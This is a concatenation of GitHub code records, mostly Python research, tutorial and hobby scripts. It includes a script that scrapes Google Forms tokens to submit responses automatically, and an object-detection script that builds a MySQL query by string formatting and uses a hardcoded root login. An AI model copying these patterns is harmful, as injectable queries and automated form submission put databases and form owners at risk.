(\"dropdown\"):\n answer_list = question [\"answer_info\"] [0] [1]\n selected = None\n for answer in answer_list:\n if info [3] [0].lower () in answer [0].lower ():\n selected = answer [0]\n if selected is None:\n print (\"Taken, choosing alternative (default)\")\n selected = answer_list [0] [0]\n add (answer_id, selected)\n print (f\"DETECTED BREAKOUT SELECT, returning {selected}\")\n elif \"first\" in lower_name and is_yes_no ():\n print (\"DETECTED FIRST VALIDATION\")\n add (answer_id, \"Yes\")\n elif \"second\" in lower_name and not \"third\" in lower_name and type_is (\"dropdown\"):\n answer_list = question [\"answer_info\"] [0] [1]\n selected = None\n for answer in answer_list:\n if info [3] [1].lower () in answer [0].lower ():\n selected = answer [0]\n if selected is None:\n print (\"Taken, choosing alternative (default)\")\n selected = answer_list [0] [0]\n add (answer_id, selected)\n print (f\"DETECTED SECONDARY BREAKOUT SELECT, returning {selected}\")\n elif \"third\" in lower_name and type_is (\"dropdown\"):\n answer_list = question [\"answer_info\"] [0] [1]\n selected = None\n for answer in answer_list:\n if info [3] [2].lower () in answer [0].lower ():\n selected = answer [0]\n if selected is None:\n print (\"Taken, choosing alternative (default)\")\n selected = answer_list [0] [0]\n add (answer_id, selected)\n print (f\"DETECTED TERTIARY BREAKOUT SELECT, returning {selected}\")\n elif \"future\" in lower_name and type_is (\"paragraph\"):\n add (answer_id, info [4])\n print (f\"DETECTED FUTURE, returning {info [4]}\")\n elif is_yes_no ():\n add (answer_id, \"No\")\n print (f\"DETECTED OTHER YES/NO, returning no\")\n else:\n print (\"NO IDEA\")\n print (\"#\" * 10)\n\n # Get token\n script_tags = list (html.find_all (\"script\"))\n TOKEN_BEGINNING = \"_docs_flag_initialData=\"\n TOKEN_END = \";\"\n script_tag = None\n for potential_script_tag in script_tags:\n if potential_script_tag.string is None: continue\n if potential_script_tag.string.startswith (TOKEN_BEGINNING):\n script_tag = potential_script_tag\n break\n if script_tag is None: raise Exception (\"Couldn't find script tag\")\n script_tag_text = script_tag.string\n token_json = script_tag_text [len (TOKEN_BEGINNING):(len (script_tag_text) - len (TOKEN_END))]\n token_data = json.loads (token_json)\n print (f\"Extracted token: {token_data ['info_params'] ['token']}\")\n\n input_tags = list (html.find_all (\"input\"))\n freebird_submission_token = None\n for input_tag in input_tags:\n if input_tag [\"type\"] != \"hidden\": continue\n if input_tag [\"name\"] != \"fbzx\": continue\n freebird_submission_token = input_tag [\"value\"]\n if freebird_submission_token is None: raise Exception (\"Couldn't find fbzx\")\n print (f\"Extracted fbzx: {freebird_submission_token}\")\n\n response_body [\"emailReceipt\"] = \"\"\n response_body [\"fvv\"] = \"1\"\n response_body [\"token\"] = token_data [\"info_params\"] [\"token\"]\n response_body [\"fbzx\"] = freebird_submission_token\n response_body [\"draftResponse\"] = json.dumps ([draft, None, freebird_submission_token, None, None, None, info [0], 0])\n response_body [\"pageHistory\"] = ','.join (str (page_number) for page_number in range (section_count))\n pprint (response_body)\n\n response = requests.post (f\"https://docs.google.com/forms/d/e/{token}/formResponse\", cookies = jar, data = response_body)\n print (response)\n","repo_name":"an0ndev/Gamer_Code","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":8383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36955661467","text":"\"\"\"\nupdated\nEF21 with bidirectional compression\nexperiment for logistic regression function with non-convex regularizer\n\"\"\"\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nimport time\nimport sys\nimport os\nimport argparse\nfrom numpy.random import normal, uniform\nfrom sklearn.datasets import make_spd_matrix, make_sparse_spd_matrix, load_svmlight_file, dump_svmlight_file\nfrom numpy.linalg import norm\nimport itertools\nfrom scipy.special import binom\nfrom scipy.stats import ortho_group\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import f1_score, accuracy_score\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nimport math\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.datasets import load_svmlight_file\nimport datetime\nfrom IPython import display\nfrom logreg_functions_fast import *\n\n#np.random.seed(23)\ndef myrepr(x):\n return repr(round(x, 4)).replace('.',',') if isinstance(x, float) else repr(x)\n\ndef stopping_criterion(sq_norm, eps, it, Nsteps):\n #return (R_k > eps * R_0) and (it <= Nsteps)\n return (it <= Nsteps) and (sq_norm >=eps)\n\ndef top_k_matrix (X,k):\n output = np.zeros(X.shape)\n for i in range (X.shape[0]):\n output[i] = top_k_compressor(X[i],k)\n return output\n \ndef top_k_compressor(x, k):\n output = np.zeros(x.shape)\n x_abs = np.abs(x)\n idx = np.argpartition(x_abs, -k)[-k:] # Indices not sorted\n inds = idx[np.argsort(x_abs[idx])][::-1]\n output[inds] = x[inds]\n return output\n\ndef compute_full_grads (A, x, b, la,n_workers):\n grad_ar = np.zeros((n_workers, x.shape[0]))\n for i in range(n_workers):\n grad_ar[i] = logreg_grad(x, A[i], b[i], la).copy()\n return grad_ar\n\ndef ef21_worker_compressor(A, x, b, la, k, wg_ar, n_workers):\n grads = compute_full_grads(A, x, b, la, n_workers)\n assert(grads.shape==(n_workers,x.shape[0]))\n wg_ar_new = np.zeros((n_workers, x.shape[0]))\n delta = grads - wg_ar\n wg_ar_new = wg_ar + top_k_matrix(delta, k)\n size_value_sent = 32\n return wg_ar_new, size_value_sent, np.mean(grads, axis=0)\n\ndef ef21_master_compressor(wg, g, k):\n delta = wg - g\n g_new = g + top_k_compressor(delta, k)\n return g_new\n\ndef ef21_bc(x_0, A, b, A_0, b_0, stepsize, eps,la, k_od, k_bd, n_workers, experiment_name, project_path, dataset, Nsteps=100000):\n wg_ar = compute_full_grads(A, x_0, b, la, n_workers)\n g = np.mean(wg_ar, axis=0)\n sq_norm_ar = [np.linalg.norm(x=g, ord=2) ** 2]\n its_bits_od_ar = [0]\n its_bits_bd_ar = [0]\n it_comm_ar = [0]\n x = x_0.copy()\n it = 0\n PRINT_EVERY = 1000\n while stopping_criterion(sq_norm_ar[-1], eps, it, Nsteps):\n x = x - stepsize*g \n wg_ar, size_value_sent, grad = ef21_worker_compressor(A, x, b, la, k_od, wg_ar, n_workers)\n wg = np.mean(wg_ar, axis=0)\n g = ef21_master_compressor(wg, g, k_bd)\n sq_norm_ar.append(np.linalg.norm(x=grad, ord=2) ** 2)\n it += 1\n its_bits_od_ar.append(it*k_od*size_value_sent)\n its_bits_bd_ar.append(it*(k_od+k_bd)*size_value_sent)\n it_comm_ar.append(it)\n if it%PRINT_EVERY ==0:\n display.clear_output(wait=True)\n print(it, sq_norm_ar[-1])\n its_bits_od_ef21_bc = np.array(its_bits_od_ar)\n its_bits_bd_ef21_bc = np.array(its_bits_bd_ar)\n its_comm_ef21_bc = np.array(it_comm_ar)\n norms_ef21_bc = np.array(sq_norm_ar)\n sol_ef21_bc = x.copy()\n its_epochs_ef21_bc = its_comm_ef21_bc.copy()\n\n save_data(its_bits_od_ef21_bc, its_bits_bd_ef21_bc, its_epochs_ef21_bc, its_comm_ef21_bc, norms_ef21_bc, sol_ef21_bc, k_od, k_bd, experiment_name, project_path, dataset)\n return np.array(its_bits_od_ar), np.array(its_bits_bd_ar), np.array(it_comm_ar), np.array(sq_norm_ar), x\n\ndef save_data(its_bits_od, its_bits_bd, its_epochs, its_comm, f_grad_norms, x_solution, k_od, k_bd, experiment_name, project_path, dataset):\n experiment = '{0}_{1}_{2}'.format(experiment_name, k_od, k_bd)\n logs_path = project_path + \"logs/logs_{0}_{1}/\".format(dataset, experiment)\n \n if not os.path.exists(project_path + \"logs/\"):\n os.makedirs(project_path + \"logs/\")\n \n if not os.path.exists(logs_path):\n os.makedirs(logs_path)\n\n np.save(logs_path + 'iteration_bits_od' + '_' + experiment, np.array(its_bits_od))\n np.save(logs_path + 'iteration_bits_bd' + '_' + experiment, np.array(its_bits_bd))\n np.save(logs_path + 'iteration_epochs' + '_' + experiment, np.array(its_epochs))\n np.save(logs_path + 'iteration_comm' + '_' + experiment, np.array(its_comm))\n np.save(logs_path + 'solution' + '_' + experiment, x_solution)\n np.save(logs_path + 'norms' + '_' + experiment, np.array(f_grad_norms))\n\n\nparser = argparse.ArgumentParser(description='Run top-k algorithm')\nparser.add_argument('--max_it', action='store', dest='max_it', type=int, default=None, help='Maximum number of iteration')\nparser.add_argument('--k_od', action='store', dest='k_od', type=int, default=1, help='Worker-master compresion parameter')\nparser.add_argument('--k_bd', action='store', dest='k_bd', type=int, default=1, help='Master-worker compresion parameter')\nparser.add_argument('--num_workers', action='store', dest='num_workers', type=int, default=1, help='Number of workers that will be used')\nparser.add_argument('--factor', action='store', dest='factor', type=float, default=1, help='Stepsize factor')\nparser.add_argument('--tol', action='store', dest='tol', type=float, default=1e-5, help='tolerance')\nparser.add_argument('--dataset', action='store', dest='dataset', type=str, default='mushrooms',help='Dataset name for saving logs')\n\nargs = parser.parse_args()\nnsteps = args.max_it\nk_od = args.k_od\nk_bd = args.k_bd\nn_w = args.num_workers\ndataset = args.dataset\nloss_func = \"log-reg\"\nfactor = args.factor\neps = args.tol\n'''\nnsteps = 2000\nn_w = 20\ndataset = \"phishing\"\nloss_func = \"log-reg\"\nfactor = 1.0\neps = 1e-9\nk_od = 1\nk_bd = 1\n'''\nla = 0.1\n\nuser_dir = os.path.expanduser('~/')\nproject_path = os.getcwd() + \"/\"\n\ndata_path = project_path + \"data_{0}/\".format(dataset)\n\nif not os.path.exists(data_path):\n os.mkdir(data_path)\n\nX_0 = np.load(data_path + 'X.npy') #whole dateset\ny_0 = np.load(data_path + 'y.npy')\n\nn_0, d_0 = X_0.shape\n\nhess_f_0 = (1 / (4*n_0)) * (X_0.T @ X_0) + 2*la*np.eye(d_0)\nL_0 = np.max(np.linalg.eigvals(hess_f_0))\nL_0 = L_0.astype(np.float)\n\n#c = subprocess.call(f\"python3 generate_data.py --dataset mushrooms --num_starts 1 --num_workers {n_w} --loss_func log-reg --is_homogeneous 0\", shell=True)\nX = []\ny = []\nL = np.zeros(n_w)\nn = np.zeros(n_w, dtype=int)\nd = np.zeros(n_w, dtype=int)\nfor j in range(n_w):\n X.append(np.load(data_path + 'X_{0}_nw{1}_{2}.npy'.format(dataset, n_w, j)))\n y.append(np.load(data_path + 'y_{0}_nw{1}_{2}.npy'.format(dataset, n_w, j)))\n n[j], d[j] = X[j].shape\n\n currentDT = datetime.datetime.now()\n print (currentDT.strftime(\"%Y-%m-%d %H:%M:%S\"))\n print (X[j].shape)\n\n hess_f_j = (1 / (4*n[j])) * (X[j].T @ X[j]) + 2*la*np.eye(d[j])\n L[j] = np.max(np.linalg.eigvals(hess_f_j))\nL = L.astype(np.float)\n\nif not os.path.isfile(data_path + 'w_init_{0}.npy'.format(loss_func)):\n # create a new w_0\n x_0 = np.random.normal(loc=0.0, scale=1.0, size=d_0)\n np.save(data_path + 'w_init_{0}.npy'.format(loss_func), x_0)\n x_0 = np.array(np.load(data_path + 'w_init_{0}.npy'.format(loss_func)))\nelse:\n # load existing w_0\n x_0 = np.array(np.load(data_path + 'w_init_{0}.npy'.format(loss_func)))\n\nal = k_od/d_0\nt = -1 + np.sqrt(1/(1-al))\ntheta = 1 - (1 - al)*(1 + t)\nbeta = (1 - al)*(1 + 1/t)\nLt = np.sqrt (np.mean (L**2))\nstep_size_diana_tpc = (1/(L_0 + Lt*np.sqrt(beta/theta)))*factor\n\nexperiment_name = \"ef21-bc_nw-{0}_{1}x\".format(n_w, myrepr(factor))\n\nresults = ef21_bc(x_0, X, y, X_0, y_0, step_size_diana_tpc, eps,la, k_od, k_bd, n_w,experiment_name, project_path, dataset, Nsteps=nsteps)\nprint (experiment_name + f\" with k={k_od} finished in {results[0].shape[0]} iterations\" )\nits_bits_od_ef21_bc = results[0]\nits_bits_bd_ef21_bc = results[1]\nits_comm_ef21_bc = results[2]\nnorms_ef21_bc = results[3]\nsol_ef21_bc = results[4]\nits_epochs_ef21_bc = its_comm_ef21_bc.copy()\n\nsave_data(its_bits_od_ef21_bc, its_bits_bd_ef21_bc, its_epochs_ef21_bc, its_comm_ef21_bc, norms_ef21_bc, sol_ef21_bc, k_od, k_bd, experiment_name, project_path, dataset)\n","repo_name":"IgorSokoloff/ef21_b-w_experiements_source_code","sub_path":"Logistic regression/ef21_bc.py","file_name":"ef21_bc.py","file_ext":"py","file_size_in_byte":8505,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"72927548214","text":"# a² = b² + c²\n# Onde: a: representa a hipotenusa; \n# b e c: representa os catetos oposto e adjacente.\n\nfrom math import sqrt\n\ncateto_opo = int(input('O valor do cateto oposto é:'))\ncateto_adj = int(input('O valor do cateto adjacente é: '))\n\nhipotenusa = sqrt((cateto_opo**2) + (cateto_adj**2))\n\nprint('O comprimento da hipotenusa é {}'.format(hipotenusa))\n\n\n# math.hypot(cateto_opo, cateto_adj) ","repo_name":"annecaroline00/python-3---mundo-1","sub_path":"módulos/desafio017.py","file_name":"desafio017.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22575895335","text":"import cv2\nimport tensorflow as tf\nimport numpy as np\nimport os,time\nfrom object_detection.utils import label_map_util\nfrom object_detection.utils import visualization_utils as vis_utils\nimport json\nfrom json import encoder\nimport pymysql\n\n\n\nclass my_object_detect(object):\n def gen():\n db = pymysql.connect(host='192.168.0.177', user='root', password = '4321', db='mysql', charset='utf8')\n cur=db.cursor()\n\n cap = cv2.VideoCapture(0,cv2.CAP_V4L)\n cap.set(3, 640) # set Width\n cap.set(4, 480) # set Height\n cap.set(5, 10) # set frame\n\n\n # Init tf model\n\n MODEL_NAME = 'ssdlite_mobilenet_v2_coco_2018_05_09' #fast\n PATH_TO_CKPT = MODEL_NAME + '/frozen_inference_graph.pb' \n PATH_TO_LABELS = os.path.join('data', 'mscoco_label_map.pbtxt') \n NUM_CLASSES = 90 \n\n fileAlreadyExists = os.path.isfile(PATH_TO_CKPT) \n\n if not fileAlreadyExists:\n print('Model does not exsist !')\n exit\n\n # LOAD GRAPH\n print('Loading...')\n detection_graph = tf.Graph() \n with detection_graph.as_default(): \n od_graph_def = tf.compat.v1.GraphDef()\n with tf.io.gfile.GFile(PATH_TO_CKPT, 'rb') as fid: \n serialized_graph = fid.read() \n od_graph_def.ParseFromString(serialized_graph) \n tf.import_graph_def(od_graph_def, name='')\n label_map = label_map_util.load_labelmap(PATH_TO_LABELS)\n categories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True) \n category_index = label_map_util.create_category_index(categories)\n print('Finish Load Graph..')\n\n print(type(category_index))\n print(\"dict['Name']: \", category_index[1]['name'])\n\n t_start=time.time()\n fps=0\n\n with detection_graph.as_default():\n with tf.compat.v1.Session(graph=detection_graph) as sess:\n while True:\n success, frame = cap.read()\n image_np_expanded = np.expand_dims(frame, axis=0) \n image_tensor = detection_graph.get_tensor_by_name('image_tensor:0') \n detection_boxes = detection_graph.get_tensor_by_name('detection_boxes:0') \n detection_scores = detection_graph.get_tensor_by_name('detection_scores:0') \n detection_classes = detection_graph.get_tensor_by_name('detection_classes:0') \n num_detections = detection_graph.get_tensor_by_name('num_detections:0')\n\n # print('Running detection..') \n (boxes, scores, classes, num) = sess.run( \n [detection_boxes, detection_scores, detection_classes, num_detections], \n feed_dict={image_tensor: image_np_expanded})\n\n # print('Done. Visualizing..')\n vis_utils.visualize_boxes_and_labels_on_image_array(\n frame,\n np.squeeze(boxes),\n np.squeeze(classes).astype(np.int32),\n np.squeeze(scores),\n category_index,\n use_normalized_coordinates=True,\n line_thickness=8)\n\n for i in range(0, 10):\n if scores[0][i] >= 0.5:\n name=category_index[int(classes[0][i])]['name']\n print(name)\n\n\n\n fps = fps + 1\n mfps = fps / (time.time() - t_start)\n cv2.putText(frame, \"FPS \" + str(int(mfps)), (10,10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0,0,255), 2)\n ret,jpeg = cv2.imencode('.jpg', frame)\n img= jpeg.tobytes()\n\n\n sql=\"INSERT INTO object(NAME) VALUES('\"'+%s+'\"')\" %name \n cur.execute(sql)\n db.commit()\n yield (b'--frame\\r\\n'b'Content-Type: image/jpeg\\r\\n\\r\\n' + img + b'\\r\\n\\r\\n')\n\t","repo_name":"nameissh/rc_car_project","sub_path":"my_object_detect.py","file_name":"my_object_detect.py","file_ext":"py","file_size_in_byte":4112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6786259850","text":"# Syntax is as follows\n\nmylist = [1,2,3]\n\nfor num in mylist:\n print(num)\n\n# Only print even numbers\nfor num in mylist:\n if num % 2 == 0:\n print(num)\n\n# If you plan on not using the actual member, use _\nfor _ in mylist:\n print(\"Not related\")\n\n\nmylist = [(1,2), (3,4), (5,6), (7,8)] # List of 4 tuples\n\n# Tuple unpacking, where you duplicate the structure of tuples and print the individual numbers\nfor a,b in mylist:\n print(a)\n print(b)\n\nmylist = [(1,2,3), (4,5,6), (7,8,9)]\n\nfor a,b,c in mylist:\n print(b)\n\nd = { 'k1':1, 'k2':2, 'k3':3}\n\n# Only iterates through keys\nfor item in d:\n print(item)\n\nfor key,value in d.items():\n print(key)\n print(value)\n\n# While loops\n\nwhile x < 5:\n x += 1\nelse: \n print(\"This executes when the while loop finally is not true\")\n\n# Break breaks out of closest enclosing loop\n# Continue goes to the top of the closes enclosing loop\n# Pass does nothing\n\n\nx = [1,2,3]\n\nfor item in x:\n pass # Essentially is a placeholder to avoid a syntax error\n # comment (Will get error without a pass)\n\nmystring = \"Sean\"\n\nfor letter in mystring:\n if letter == 'a':\n continue # Will skip the print if the letter is a, but will continue looping\n print(letter)\n\nfor letting in mystring:\n if letter == 'a':\n break # Will completely stop loop\n print(letter)","repo_name":"smarten-bootcamp/notes","sub_path":"python/statements/for-loop.py","file_name":"for-loop.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26156868980","text":"from datetime import datetime\nfrom typing import Optional\n\nfrom classic.app import DTO\nfrom classic.aspects import PointCut\nfrom classic.components import component\nfrom classic.messaging import Message, Publisher\nfrom pydantic import validate_arguments\n\nfrom application import interfaces, dataclasses\nfrom application.exceptions import DoesNotExists\n\njoin_points = PointCut()\njoin_point = join_points.join_point\n\n\nclass BookInfo(DTO):\n id: Optional[int]\n title: str\n description: str\n user_id: Optional[int]\n\n\n@component\nclass Book:\n books_repo: interfaces.BooksRepo\n publisher: Publisher\n\n @join_point\n @validate_arguments\n def get_books(self):\n books = self.books_repo.get_books()\n if not books:\n raise DoesNotExists\n return books\n\n @join_point\n @validate_arguments\n def get_book(self, id):\n book = self.books_repo.get_book(id)\n if not book:\n raise DoesNotExists\n return book\n\n @join_point\n @validate_arguments\n def delete_book(self, id):\n try:\n self.books_repo.get_book(id)\n except Exception:\n raise DoesNotExists\n self.books_repo.delete_book(id)\n\n @join_point\n @validate_arguments\n def add_book(self, title, description):\n book = BookInfo(title=title, description=description).create_obj(dataclasses.Book)\n self.books_repo.add_book(book)\n\n if self.publisher:\n self.publisher.plan(\n Message('test', {'event': 'add_book', 'created': datetime.now(),\n 'book_id': book.id, 'user_id': None})\n )\n\n @join_point\n @validate_arguments\n def take_book(self, id, user_id):\n try:\n book = self.books_repo.get_book(id)\n except Exception:\n raise DoesNotExists\n else:\n book_info = BookInfo(id=id, title=book.title, description=book.description, user_id=user_id)\n book_info.populate_obj(book)\n\n if self.publisher:\n self.publisher.plan(\n Message('test', {'event': 'take_book', 'created': datetime.now(),\n 'book_id': id, 'user_id': user_id})\n )\n return book\n\n @join_point\n @validate_arguments\n def return_book(self, id):\n try:\n book = self.books_repo.get_book(id)\n except Exception:\n raise DoesNotExists\n else:\n book_info = BookInfo(id=id, title=book.title, description=book.description, user_id=None)\n book_info.populate_obj(book)\n\n if self.publisher:\n self.publisher.plan(\n Message('test', {'event': 'take_book', 'created': datetime.now(),\n 'book_id': id, 'user_id': None})\n )\n\n return book\n","repo_name":"Atmostone/EvrazProject3","sub_path":"book_backend/application/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":2890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35131615509","text":"import cPickle\nimport numpy as np\nimport subprocess as sub\n\nfrom evosoro.softbot import Genotype, Phenotype\nfrom evosoro.tools.utils import make_one_shape_only, hausdorff_dist, bootstrap_ci, count_neighbors\n\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport matplotlib\n\nmatplotlib.rcParams['pdf.fonttype'] = 42\nmatplotlib.rcParams['ps.fonttype'] = 42\n\nsns.set(color_codes=True, context=\"poster\")\nsns.set_style(\"white\", {'font.family': 'serif', 'font.serif': 'Times New Roman'})\n\ncolors = [\"grey\", \"dark pink\", \"ocean green\", \"tan\"]\nsns.set_palette(sns.xkcd_palette(colors), desat=.9)\n\n\nUSE_PICKLE = True\nGENS = [5000]\nRUNS = 20\nEXP_NAMES = [\"none\", \"stress\", \"pressure\"]\nDIR = \"/home/sam/Projects/research_code/evosoro/data_analysis/results\"\n\n\n# # TEST\n# robots = []\n# for r in range(24):\n# robots += [make_one_shape_only(np.random.randint(0, 2, (10, 10, 10)))]\n#\n# for n, r1 in enumerate(robots):\n# for r2 in robots[n + 1:]:\n# print hausdorff_dist(r1, r2)\n\n\n# if not USE_PICKLE:\n# for gen in GENS:\n# sub.call(\"mkdir {0}/Gen_{1}\".format(DIR, gen), shell=True)\n# for exp_name in EXP_NAMES:\n# for run in range(1, RUNS+1):\n# print gen, exp_name, run\n# sub.call(\"scp skriegma@bluemoon-user1.uvm.edu:/users/s/k/skriegma/scratch/\"\n# \"alpha_{2}_A/run_{3}/pickledPops/Gen_{1}.pickle \"\n# \" {0}/Gen_{1}/{2}_Run_{3}.pickle\".format(DIR, gen, exp_name, run),\n# shell=True)\n\n\nMyGenotype = Genotype\nMyPhenotype = Phenotype\n\n\nif not USE_PICKLE:\n\n generation = []\n hausdorff = []\n group = []\n\n for gen in GENS:\n\n for exp_idx, exp_name in enumerate(EXP_NAMES):\n\n run_champs = []\n\n for run in range(1, RUNS+1):\n try:\n pickle = '{0}/Gen_{1}/{2}_Run_{3}.pickle'.format(DIR, gen, exp_name, run)\n with open(pickle, 'rb') as handle:\n [optimizer, random_state, numpy_random_state] = cPickle.load(handle)\n\n pop = optimizer.pop\n\n best_ind = None\n for ind in pop:\n if ind.fitness == pop.best_fit_so_far:\n best_ind = ind\n\n run_champs += [best_ind]\n except IOError:\n pass\n\n distances = []\n\n for n, ind1 in enumerate(run_champs):\n for name, details in ind1.genotype.to_phenotype_mapping.items():\n if name == \"material_present\":\n g1 = details[\"state\"]\n\n g1_90 = np.rot90(g1, k=1, axes=(0, 1))\n g1_180 = np.rot90(g1, k=2, axes=(0, 1))\n g1_270 = np.rot90(g1, k=3, axes=(0, 1))\n rotations_of_ind1 = [g1, g1_90, g1_180, g1_270]\n rotations_of_ind1 += [np.rot90(x, k=1, axes=(0, 2)) for x in rotations_of_ind1]\n\n for ind2 in run_champs[n+1:]:\n for name, details in ind2.genotype.to_phenotype_mapping.items():\n if name == \"material_present\":\n g2 = details[\"state\"]\n\n min_dist = np.inf\n for this_rot in rotations_of_ind1:\n d = hausdorff_dist(this_rot, g2)\n if d < min_dist:\n min_dist = d\n\n distances += [min_dist]\n\n # append to plot data\n hausdorff += distances\n group += [exp_idx]*len(distances)\n generation += [gen] * len(distances)\n\n # # statistics\n # l, u = bootstrap_ci(distances, np.median, n=1000, ci=95)\n # print exp_name, (l, u)\n\n # PLOTTING\n generation = np.array(generation)\n group = np.array(group)\n hausdorff = np.array(hausdorff)\n data = np.array([generation, group, hausdorff])\n\n df = pd.DataFrame(data=data.T, columns=[\"Gen\", \"Group\", \"Distance\"])\n\n # save dataframe\n with open('{0}/Run_Champ_Hausdorff.pickle'.format(DIR), 'wb') as handle:\n cPickle.dump(df, handle, protocol=cPickle.HIGHEST_PROTOCOL)\n\nelse:\n # load original fitness\n with open('{0}/Run_Champ_Hausdorff.pickle'.format(DIR), 'rb') as handle:\n df = cPickle.load(handle)\n\ndf = df[df['Gen'] == 5000]\n\nfig, ax = plt.subplots(1, 1, figsize=(4.05, 4))\n\ng = sns.barplot(x=\"Group\", y=\"Distance\", data=df, ax=ax, capsize=0.1, errwidth=2, ci=95, alpha=0.75)\n\n# # statistical annotation\n# text = r\"${\\ast}{\\ast}{\\ast}$\"\n# x1, x2 = 1, 2\n# y, h, col = 4.2, 0.15, 'k'\n# plt.plot([x1, x1, x2, x2], [y, y+h, y+h, y], lw=1.5, c=col)\n# plt.text((x1+x2)*.5, y+h, text, ha='center', va='bottom', color=col, fontsize=14)\n\nax.set_ylim([0, 5])\nax.set_yticks(range(6))\nfor tick in ax.yaxis.get_major_ticks():\n tick.label.set_fontsize(12)\nax.set_ylabel(\"$\\mathregular{d_H}$\", fontsize=18, fontweight=\"bold\")\nax.set_xticklabels([\"None\", \"Stress\", \"Press\"], fontsize=14, fontweight=\"bold\")\nax.set_xlabel(\"\") # \"At generation {}\".format(GEN))\nax.set_title(\"Geometric diversity\", fontsize=14)\n# ax.legend_.remove()\n# ax.legend([matplotlib.patches.Patch(color=sns.color_palette()[i]) for i in range(3)],\n# ['None', 'Stress', 'Pressure'], loc=1)\n\n\nc = sns.color_palette()[3]\nplt.text(ax.get_xlim()[0]+0.07, ax.get_ylim()[1]*(1-0.0094/0.4), \"B\", ha='left', va='top', color=\"k\",\n fontsize=25, fontname=\"Arial\", bbox=dict(facecolor=c, edgecolor=c, alpha=0.5))\n\n# sns.despine()\nplt.tight_layout()\nplt.savefig(\"plots/Hausdorff.pdf\", bbox_inches='tight')\n\n","repo_name":"skriegman/2018-gecco","sub_path":"evosoro/data_analysis/hausdorff.py","file_name":"hausdorff.py","file_ext":"py","file_size_in_byte":5635,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"2999584511","text":"class ShortInputException(Exception):\n '''A user-defined exception class.'''\n def __init__(self, length, atleast):\n Exception.__init__(self)\n self.length = length\n self.atleast = atleast\n\ntry:\n text = input('Enter something: ')\n if len(text) < 3:\n raise ShortInputException(len(text), 3)\n \nexcept ShortInputException as my_ex:\n print(my_ex.length, my_ex.atleast)\n\nelse:\n print('No exception was raised.')\n\n\nprint(\"End of app\")\n\n\"\"\"\n\n\nOUTPUT 1:\n_________________________________________\nEnter something: t\n1 , 3\nEnd of app\n\n\nOUTPUT 2:\n_________________________________________\nEnter something: te\n2 , 3\nEnd of app\n\n\nOUTPUT 3:\n_________________________________________\nEnter something: test\nNo exception was raised.\nEnd of app\n\n\n\"\"\"\n","repo_name":"shadibdair/Python","sub_path":"Day 11 - 02.01.2019/09_except with as.py","file_name":"09_except with as.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41844723020","text":"\"\"\"\nEvolve a control/reward estimation network for the Moon Lander example from OpenAI Gym.\nLunarLander-v2 environment (https://gym.openai.com/envs/LunarLander-v2).\nSample run here: https://gym.openai.com/evaluations/eval_FbKq5MxAS9GlvB7W6ioJkg\n\"\"\"\nimport multiprocessing\nimport os\nimport pickle\nimport random\nimport sys\nimport time\nfrom collections import namedtuple\n\nimport neat\nimport gym.wrappers\nimport numpy as np\n\nimport util.argparsing as argutils\nimport util.reporters as reporters\nimport gymex.visualize as visualize\nfrom gymex.config import make_config\n\nNUM_CORES = os.cpu_count()\nif hasattr(os, \"sched_getaffinity\"):\n # This function is only available on certain platforms. When running with Slurm, it can tell us the true number of\n # cores we have access to.\n NUM_CORES = len(os.sched_getaffinity(0))\n\n\ndef take_step(env, observation, networks, random_action_prob=0.0):\n if not isinstance(networks, (tuple, list)):\n networks = [networks]\n assert len(networks) > 0 and networks[0] is not None\n\n # Run the networks.\n num_outputs = len(networks[0].output_nodes)\n all_actions = np.zeros((len(networks), num_outputs))\n for i, n in enumerate(networks):\n all_actions[i] = n.activate(observation)\n\n # Choose an action.\n if random.random() < random_action_prob:\n # Take a random action with some probability.\n action = env.action_space.sample()\n else:\n if isinstance(env.action_space, gym.spaces.Discrete):\n # Make a choice from a discrete set of actions. If multiple networks, take the action with the highest\n # total value.\n # TODO: Maybe vote instead of summing reward estimates?\n action = np.argmax(all_actions.sum(axis=0))\n elif isinstance(env.action_space, gym.spaces.Box):\n # Output a continuous action. If multiple networks, average them.\n action = all_actions.mean(axis=0)\n else:\n raise RuntimeError(f\"Unsupported action space: {env.action_space}\")\n\n observation, reward, terminated, truncated, info = env.step(action)\n return all_actions, action, observation, reward, (terminated or truncated), info\n\n\ndef compute_reward_prediction_error(args):\n genome, net, episodes, reward_range, use_reward_discount = args\n\n if use_reward_discount:\n m = int(round(np.log(0.01) / np.log(genome.discount)))\n discount_function = [genome.discount ** (m - i) for i in range(m + 1)]\n else:\n m = None\n discount_function = None\n\n reward_error = []\n for ep in episodes:\n # Compute normalized discounted reward.\n if use_reward_discount:\n rewards = np.convolve(ep.rewards, discount_function)[m:]\n else:\n rewards = ep.rewards.copy()\n if reward_range:\n # NOTE: This is done knowing that we are usually using networks whose outputs are clamped to [-1, 1].\n # So we need targets in the same range.\n min_reward, max_reward = reward_range\n rewards = 2 * (rewards - min_reward) / (max_reward - min_reward) - 1.0\n rewards = np.clip(rewards, -1.0, 1.0)\n\n for obs, act, dr in zip(ep.observations, ep.actions, rewards):\n output = net.activate(obs)\n reward_error.append(float((output[act] - 